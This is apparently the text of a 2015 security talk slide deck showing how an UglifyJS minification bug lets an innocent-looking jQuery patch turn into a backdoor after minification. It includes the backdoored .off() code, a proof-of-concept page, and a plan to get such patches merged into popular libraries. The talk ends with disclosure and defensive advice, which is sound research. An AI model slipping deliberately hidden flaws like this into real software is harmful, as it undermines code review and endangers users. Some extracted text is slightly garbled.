JavaScript & Security
get married

Yan Zhu
NCC Group SF Open Forum
9/17/15
F YEAH RUSTIC PENNSYLVANIA WEDDING THEME!!
About me:
● Security Engineer at Yahoo! by day
● EFF Technology Fellow (Let’s Encrypt, HTTPS Everywhere)
● That’s a real photo of me ->
Our story

09.??.1995
JavaScript released!

01.05.11
Wrote my first line of JavaScript.

08.19.15
Started investigating JS optimizer security as a side project.

08.23.15
Got bored and mostly stopped working on this project.

??.??.1991
I was born!
This talk is about JavaScript.
(sorry not sorry)
What runs JS?

- Browsers
- Servers (node/io.js)
- Soon: everything

IoT.js
A framework for Internet of Things

Internet of Things technologies connect "Things" and the things are getting smarter based on the connection. However there are still some barriers that each devices require its own application and/or services.

IoT.js aims to provide inter-operable service platform in the world of IoT, based on web technology. The target of IoT.js is to run in resource constrained devices such as only few kilobytes of RAM available device. Thus it will supports very wide range of "Things".
Inspiration
3 Deniable Backdoors Using Compiler Bugs

Do compiler bugs cause computer software to become insecure? We don’t believe this happens very often in the wild because (1) most code is not mismodeled and (2) most code is not security-critical. In this article we address a different situation: we’ll play an adversary who takes advantage of a naturally occurring compiler bug.

Do production-quality compilers have bugs? They sure do. Compilers are constantly evolving to improve support for new language standards, new platforms, and new optimizations; the resulting code churn guarantees the presence of numerous bugs. GCC currently has about 3,200 open bugs of priority P1, P2, or P3. (But keep in mind that many of these aren’t going to cause a miscompilation.) The invariant governing compiler-internal data structures are some of the most complex that we know of. They are aggressively guarded by assertions, roughly 11,000 in GCC and 17,000 in LLVM. Even so, problems slip through.

How should we go about finding a compiler bug to exploit? One way would be to cruise an open source compiler’s bug database. A sneaky alternative is to find new bugs using a fuzzer. A few years ago, we spent a lot of time fuzzing GCC and LLVM, but we reported those bugs—hundreds of them!—instead of saving them for backdoors. These compilers are now highly resistant to Comit (our fuzzer), but one of the fun things about fuzzing is that every new tool tends to find different bugs. This has been demonstrated recently by running afl-fuzz against Clang/LLVM.3 A final way to get good compiler bugs is to introduce them ourselves by submitting bad patches. As that results in a “Trusting Trust” situation where almost anything is possible, we won’t consider it further.

So let’s build a backdoor! The best way to do this is in two stages, first identifying a suitable bug in the compiler for the target system, then we’ll introduce a patch for the target software, causing it to trip over the compiler bug.

The sneaky thing here is that at the source code level, the patch we submit will not cause a security problem. This has two advantages. First, obviously, no amount of inspection—nor even full formal verification—of the source code will find the problem. Second, the bug can be targeted fairly specifically if our target audience is known to use a particular compiler version, compiler backend, or compiler flags. It is impossible, even in theory, for someone who doesn’t have the target compiler to discover our backdoor.

Let’s work an example. We’ll be adding a privilege escalation bug to sudo version 1.8.13. The target audience for this backdoor will be people whose system compiler is Clang/LLVM 3.3, released in June 2013. The bug that we’re going to use was discovered by fuzzing, though not by us. The fact

3http://journalism.gmane.org/gmane.comp.compilers.liv-dev/79491
“No amount of source-level verification or scrutiny will protect you from using untrusted code. In demonstrating the possibility of this kind of attack, I picked on the C compiler. I could have picked on any program-handling program such as an assembler, a loader, or even hardware microcode. As the level of program gets lower, these bugs will be harder and harder to detect.”

Ken Thompson, Reflections on Trusting Trust (1984)
Here's something you don't see every day - a virus that infects Delphi files ... at compile-time.

When a file infected with W32/Induc-A runs, it looks to see if it can find a Delphi installation on the current machine. If it finds one, it tries to write malicious code to SysConst.pas, which it then compiles to SysConst.dcu (after saving the old copy of this file to SysConst.bak). The new infected SysConst.dcu file will then add W32/Induc-A code to every new Delphi file that gets compiled on the system - some of the strings from the inserted code look like this:

```
uses windows;
var sc:array[1..255] of string;

function x(s:string):string;
begin
  result := s;
end;

var i:integer;
begin
  for i:=1 to length(s) do
    if s[i] = 39 then
      inc(i);
  result := s;
end;
```

seen in the wild!
JS isn’t “compiled,” but …

- Transpilers to JS exist for every major language
- JS sugar (CoffeeScript, Coco, LiveScript, Sibilant)
- Optimizers (Closure, Uglify)
- Static typing (Closure, Flow, TypeScript, asm.js)
- Language extensions (React’s JSX)
- ES6 -> ES5 converter (Babel)

more at https://github.com/jashkenas/coffeescript/wiki/list-of-languages-that-compile-to-js
Let’s get hackin’
Step 1: Pick a JS library
Who uses UglifyJS2?

- **gruntjs**
  - via grunt-contrib-uglify plugin
- **jQuery**
  - used to build that jQuery. min.js file on ~70% of websites you visit
- **Cloudflare**
  - via collapsify-server
- **Your company**
  - probably. either directly or upstream somewhere.
let's git clone it

```javascript
var code = "return function AST_" + type + "(props){ if (props) { ";
for (var i = props.length; --i >= 0;) {
    code += "this." + props[i] + " = props." + props[i] + ";";
}
var proto = base && new base;
if (proto && proto.initialize || (methods && methods.initialize))
    code += "this.initialize();"
code += "}"]};
var ctor = new Function(code)();
```

i heard u like functions that construct constructors by passing their string forms into Function constructors!!
Step 2: Find an exploitable bug

uglify -c changes behavior of mdast code #751

tmcw opened this issue on Jul 21 · 8 comments

tmcw commented on Jul 21

I’ve created a repo to reproduce this bug: https://github.com/tmcw/mdast-uglify-bug

For the mdast markdown library, the source succeeds when not uglified, and then passed through uglify -c, its behavior changes and it breaks.

I’m trying to dig through the source, passed through uglify -c and then uglify -b, in order to track down the cause. It’s quite a doozy

wooorm commented on Jul 22

I fixed this in mdast (wooorm/mdast@1a4fc46), but I’m not sure that this was really my error.

It was basically a long list of logical AND-operators, followed by an expression which I needed the value of rules[name].exec(value). For some reason I did not get that value, but true.
Fixed in v2.4.24

Don't attempt to negate non-boolean AST_Binary

Fix #751

[master (#1)  v2.4.24]

mishoo authored on Jul 22

1 parent 63fb2d5 commit 905b6011784ca60d41919ac1a499962b7c1d4b02

Showing 2 changed files with 30 additions and 1 deletion.

lib/compress.js

@@ -2183,7 +2183,7 @@ merge(Compressor.prototype, {

  break;
 }

- if (compressor.option("comparisons")) {
+ if (compressor.option("comparisons") && self.is_boolean()) {

   if (!compressor.parent().instanceof AST_Binary
      || compressor.parent().instanceof AST_Assign) {
      var negated = make_node(AST_UnaryPrefix, self, {
DeMorgan’s Laws

“The negation of a conjunction is the disjunction of the negations.”

“The negation of a disjunction is the conjunction of the negations.”
Q: What’s your favorite wedding cake ingredient?

“It’s not vodka AND not whipped cream”

“It’s not vodka OR whipped cream”

Q: What is a good drink to have on Wednesdays?

“One that does not contain vodka OR does not contain whipped cream”

“One that does not contain vodka AND whipped cream.”
Using DeMorgan’s Laws for code compression

\!a \&\& \!b \&\& \!c \&\& \!d

=> 20 characters :-(

\!(a \mid\mid b \mid\mid c \mid\mid d)

=> 19 characters!!1 :D
Caveat: only works for boolean expressions

> !false && 1 // returns an int
1

1

> !(false || !1) // boolean conversion
true
Step 3: exploit it

Hypothetical attack:

1. Get reasonable-looking patches merged into jQuery (or any popular JS library that uses UglifyJS).
2. Some developers will build jQuery with vulnerable versions of UglifyJS.
3. Patches from #1 introduce backdoors into jQuery at minification time.
● Current stable jQuery release is 1.11.3
  ○ requires grunt-contrib-uglify 0.3.2
    ■ requires uglify-js ~2.4.0, satisfied by 2.4.23 (vulnerable!)
● Building jquery with grunt uses DeMorgan’s Laws for compression by default
“If (some conditions are true), call the special removal handlers if there are any.”

Used in .off() method (removes event handlers)
Insert the backdoor

```
if ( ( mappedTypes || origType === handleObj.origType ) &&
    spliced = ( mappedTypes || origType === handleObj.origType ) &&
    ( !handler || handler.guid === handleObj.guid ) &&
    ( !tmp || tmp.test( handleObj.namespace ) ) &&
    ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) {
    handlers.splice( j, 1 );
    ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) &&
    handlers.splice( j, 1 );

    if ( spliced && spliced.length > 0 ) {
        // Will never be reached when processed by uglify-js@2.4.23!
        if ( handleObj.selector ) {
            handlers.delegateCount--;  
        }
        if ( special.remove ) {
            special.remove.call( elem, handleObj );
        }
    }
}
```

spliced is boolean after minification -> spliced.length === undefined -> (undefined > 0) === false

special event handlers never get called!
Tests pass with uglify-js@2.2.24!

maybe the maintainers will merge our pull request
Trigger the backdoor

```html
<html>
<script src="../dist/jquery.min.js"></script>
<button>click me to see if special event handlers are called!</button>
<div>FAIL</div>
<script>
    // Add a special event hook for onclick removal
    jQuery.event.special.click.remove = function(handleObj) {
        $('div').text('SUCCESS');
    };
    $('button').click(function myHandler(e) {
        // Trigger the special event hook
        $('button').off('click');
        // Re-add the click handler
        $('button').click(myHandler);
    });
</script>
</html>
```
Pre-minification

```html
<html>
  <head>
    <script src="./dist/jquery.js"></script>
  </head>
  <body>
    <button>click me to see if special event handlers are called!</button>
    <div>SUCCESS</div>
  </body>
</html>
```

// Add a special event hook for onclick removal
jQuery.event.special.click.remove = function(h) {
  $(this).text('SUCCESS');
};

$('button').click(function(myHandler) {
  // Trigger the special event hook
  $('button').off('click');
  // Re-add the click handler
  $('button').click(myHandler);
});
Post-minification

```html
<html>
  <head>
    <script src="../dist/jquery.min.js"></script>
  </head>
  <body>
    <button>click me to see if special event handlers are called!</button>
    <div>FAIL</div>
    <script>
      // Add a special event hook for onclick removal
      jQuery.event.special.click.remove = function(handleObj) {
        $('div').text('SUCCESS');
      };
      $('button').click(function myHandler(e) {
        // Trigger the special event hook
        $('button').off('click');
        // Re-add the click handler
        $('button').click(myHandler);
      });
    </script>
  </body>
</html>
```
backdoored fork of jquery 1.11.3 + PoC: https://github.com/diracdeltas/jquery

writeup with more examples: https://zyan-scripts.mit.edu/blog/backdooring-js/
The After-Party
devs freaked out:
- Someone submitted a CVE request
- Assigned Ruby security advisory OSVDB-126747
- Assigned Node security advisory
- Debian draft proposal recommending against minification: https://wiki.debian.org/onlyjob/no-minification
- Various libraries updated: grunt-contrib-uglify, jquery, Cloudflare collapsify, etc.
Freaking out does not scale well

Most JS transformers I looked at could be exploited in the same way (including Babel and CoffeeScript transpilers).
Lessons learned so far:

1. Don’t optimize unless you have to.
2. Run tests post-minification & other processing. Check if your CDN (ex: Cloudflare) is minifying files for you.
3. Even well-reviewed JS libraries probably depend on sketchy code.
Things to do while you’re here

Audit popular JS modules & build tools
The equivalents of the C compiler for JS are not nearly as well-reviewed.

Flag security issues
JS library maintainers might not realize when a bug is a security issue, so fixes trickle slowly through the dependency graph.

Minimize third-party dependencies
Probably won’t happen though.